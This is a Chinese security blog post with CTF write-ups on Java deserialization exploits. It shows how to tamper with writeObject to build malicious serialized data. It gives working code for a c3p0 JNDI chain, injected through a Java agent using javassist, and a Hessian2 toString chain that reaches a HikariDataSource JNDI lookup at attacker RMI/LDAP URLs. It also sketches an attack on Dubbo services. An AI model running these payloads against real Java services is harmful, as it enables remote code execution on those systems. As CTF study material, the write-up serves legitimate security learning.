对writeObject流程动点手脚
2022-9-20 23:59:24 Author: xz.aliyun.com(查看原文) 阅读量:36 收藏

前言

以前做一些 Java 反序列化的题目时,我个人觉得侧重点在于readObject之后发生的事情:我们设法寻找可用的gadget并拼接,最后用一行xxx.writeObject()仅用来帮我们得到恶意数据。

最近学习过程中做了几个非常有意思的题目,总结一下其中共同的思想就是对writeObject的流程下手,通过这部分流程中代码的一些问题来实现漏洞利用。

如何控制恶意数据

从代码逻辑入手

其实就是修改writeObject流程中的源代码,视情况有以下这些办法:

  • 直接ctrl+a复制用到的类新建为一个类并修改相关操作

Hessian2Output我们修改的流程刚好在writeObject所在 Java 文件中

  • 下载对应版本源代码进行修改后重新编译成 Jar 包,这种办法在编译的时候可能要导入许多依赖,还要注意编译运行的 Java 版本
  • 利用 Java Agent 技术,用法可以学习:https://www.cnblogs.com/nice0e3/p/14086165.html,
    然后利用 javassist 修改字节码

我们用动态 attach 注入方法,写好agentmain后将其打包成 Jar 文件

记得修改文件中 MANIFEST.MF 文件

从字节数组入手

从序列化数据入手

这里先学习了一下SerializationDumper,(https://www.freebuf.com/vuls/176672.html)
我们来看一下未修改前生成的数据:

我因我们想实现的是如下代码的效果:

java.util.Properties properties = new java.util.Properties();
javax.naming.CompoundName compoundName = new javax.naming.CompoundName("rmi://127.0.0.1:6666/calc", properties); 
this.contextName = compoundName;

所以说contextName肯定是个对象,那就要按照这样的格式去写

模仿已有的对象数据就行,然后知道这些知识点:

最终就有上面的序列化数据(什么?你问我是不是自己写的,肯定...不是)

然后就定位要插入的位置,将0x70直接替换

这个只是粗略的尝试了一下就成功了,修改序列化的数据应该是更麻烦(还要考虑偏移量等问题),之后还是要更深入学习下 JRE8u20 的构造及相关工具才行。

CTF 题目

Dest0g3 ljcrt

题目分析

有一个反序列化入口并且过滤了ldap字符串

还通过 Java Agent 技术过滤了一些东西

过滤了高版本 JNDI 的 EL 表达式绕过,题目存在 c3p0 依赖,但又要求 reference 不能有值,也过滤了一些链

JNDI

在跟 c3p0 的 http base 链时,可以注意到在PoolBackedDataSourceBase类的writeObject方法中有如下内容:

尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作:

这个类是不能反序列化的,所以会进入catch模块:

我们可以控制 var2,但是 this.contextName 默认是 null 的

然后看PoolBackedDataSourceBase类的readObject方法:

跟进getObject方法:

当 this.contextName 不为空,才能触发 JNDI,所以我们可以想办法在indirectFrom函数里插入些代码。

solve

先运行这个:

package c3p0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class main {
    public static void main(String[] args) throws Exception{
        Thread.sleep(5000);//sleep一会
        PoolBackedDataSource a = new PoolBackedDataSource();
        a.setConnectionPoolDataSource(new PoolSource());
        writeFile("1.txt",serialize(a));
        //deserialize(FiletoBytes("1.txt"));
    }

    private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {

        public PoolSource () {
        }

        public Reference getReference () throws NamingException {
            return null;
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

    private static void writeFile(String filePath, byte[] content) throws Exception {
        FileOutputStream outputStream = new FileOutputStream(filePath);
        outputStream.write( content );
        outputStream.close();
    }

    public static byte[] FiletoBytes(String filename) throws Exception{
        String buf = null;
        File file = new File(filename);
        FileInputStream fis = null;
        fis = new FileInputStream(file);
        int size = fis.available();
        byte[] bytes = new byte[size];
        fis.read(bytes);
        return bytes;
    }
}

再运行动态注入的代码:

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.List;

public class AgentDemo {
    public static void main(String[] args) throws Throwable{
        Class.forName("sun.tools.attach.HotSpotAttachProvider");
        List<VirtualMachineDescriptor> vms = VirtualMachine.list();
        String targetPid = null;
        for (int i = 0; i < vms.size(); i++) {
            VirtualMachineDescriptor vm = vms.get(i);
            if (vm.displayName().contains("main")) {
                System.out.println(vm.displayName());
                targetPid = vm.id();
                System.out.println(targetPid);
            }
        }
        VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
        virtualMachine.loadAgent("out\\agent.jar",null);
        virtualMachine.detach();
    }

    public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
        for (Class allLoadedClass : inst.getAllLoadedClasses()) {
            if (allLoadedClass.getName().contains("c3p0.main")) {
                Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
                ClassPool classPool = new ClassPool(true);
                classPool.insertClassPath(new ClassClassPath(elProcessorClass));
                classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
                CtClass ctClass = classPool.get(elProcessorClass.getName());
                CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
                ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
                        "        javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://127.0.0.1:6666/calc\",properties);" +
                        "this.contextName=compoundName;",AgentDemo.class.getName()));
                inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
                ctClass.detach();
            }
        }
    }
}

可以看到最终结果 contextName 的值:

接下来因为还有 yaml 依赖,所以打的就是 yaml 的绕过

网鼎杯 hessian2

题目分析

还给了一个MyBean类(以及为了实现它的toString方法的两个其他类,不再多提)

熟悉 Rome 反序列化的就知道可以任意调用 getter 方法

所以思路就是找 hessian 触发 toString 的链子

可见:https://paper.seebug.org/1814/#hessian2input

hessian2toString

跟进 read() 函数

先进入 readBuffer() 后返回 this._buffer[this._offset++] & 255(其实就是 this._buffer[0] & 255)

如果我们能控制 tag 为 67

public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch(tag) {
    case 0:
    case 1:
    case 2:
    case 3:
...
    case 31:
        this._isLastChunk = true;
        this._chunkLength = tag - 0;
        this._sbuf.setLength(0);

        while((ch = this.parseChar()) >= 0) {
            this._sbuf.append((char)ch);
        }

        return this._sbuf.toString();
    case 32:
    case 33:
    ...
    case 67:
    ...
    case 127:
    default:
        throw this.expect("string", tag);
    case 48:
    case 49:
    case 50:
    ...
    case 253:
    case 254:
    case 255:
        return String.valueOf((tag - 248 << 8) + this.read());
    }
}

那么根据上次的 read 函数,这里返回的就是 this._buffer[1] 了,如果能控制返回的是 32-127 就能进入 expect 函数,我们还控制为 67(后面会解释)

protected IOException expect(String expect, int ch) throws IOException {
    if (ch < 0) {
        return this.error("expected " + expect + " at end of file");
    } else {
        --this._offset;

        try {
            Object obj = this.readObject();
            return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
        } catch (IOException var4) {
            log.log(Level.FINE, var4.toString(), var4);
            return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
        }
    }
}

最终触发 toString

getConnection2JNDI

跟进方法

到 PoolBase

最终达到 JNDI

solve

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.ctf.badbean.bean.MyBean;
import java.io.*;
import java.util.Base64;

public class payload {

    public static void main(String[] args) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HikariDataSource ds = new HikariDataSource();
        ds.setDataSourceJNDI("ldap://url:port/Basic/Command/calc");
        Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
        Object o = new MyBean("", "", ds, HikariDataSource.class);
        out.writeString("aaa");
        out.writeObject(o);
        out.flushBuffer();
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
        hessian2Input.readObject();
    }

}

我们重写了一个 HessianOutput 类来获得序列化数据,首先可以在 writeString 处对 this._buffer 赋值

第一个框中 buffer[offset++] = 67 是为了 将 this._buffer[0] 赋值为67,后一句则将 this._buffer[1] 赋值为67,至于为什么有这种效果等会再说

第二个框是为了对于我们想构造的数据不要再产生多余影响了,正常数据还是原来处理

然后跟入 writeObject 中

继续跟到

在这个函数中发现还有个赋值67的操作

还记得之前 this._offset = offset 吗,所以 this._buffer[1] = 67

现在回想下那两个框和我们要求的67,一切串起来后就会感觉构造的特别妙

after hessian2

这部分就是在做完题后学习 Dubbo 安全时看到的

我们可以使用hessian2对某个对象进行序列化,得到一段byte数组,修改数组中某个布尔值属性所对应的tag

目的还是进入expect函数触发 toString,这里选取布尔值属性进行修改,用 binding 恶意对象将值覆盖(不太清楚为什么,但做了一些实验发现直接修改值会导致 obj = this.readObject() 失败,可能还是要更深入跟踪序列化过程,这里就学习一下思路)

顺便浅说一下师傅的这部分代码,因为是要打 Dubbo 服务的,所以加上头部字段,我们简单复现的话也不必要加

  • Magic固定为0xdabb
  • Serialization ID为一些标记组合的结果
  • Request ID 随机
  • Data Length

最终打到了:

参考

https://firebasky.github.io/2022/06/04/ljctr-wp/

http://miku233.viewofthai.link/2022/08/29/2022%E7%BD%91%E9%BC%8E%E6%9D%AFJava/

https://www.cnblogs.com/bitterz/p/15828415.html


文章来源: https://xz.aliyun.com/t/11720
如有侵权请联系:admin#unsafe.sh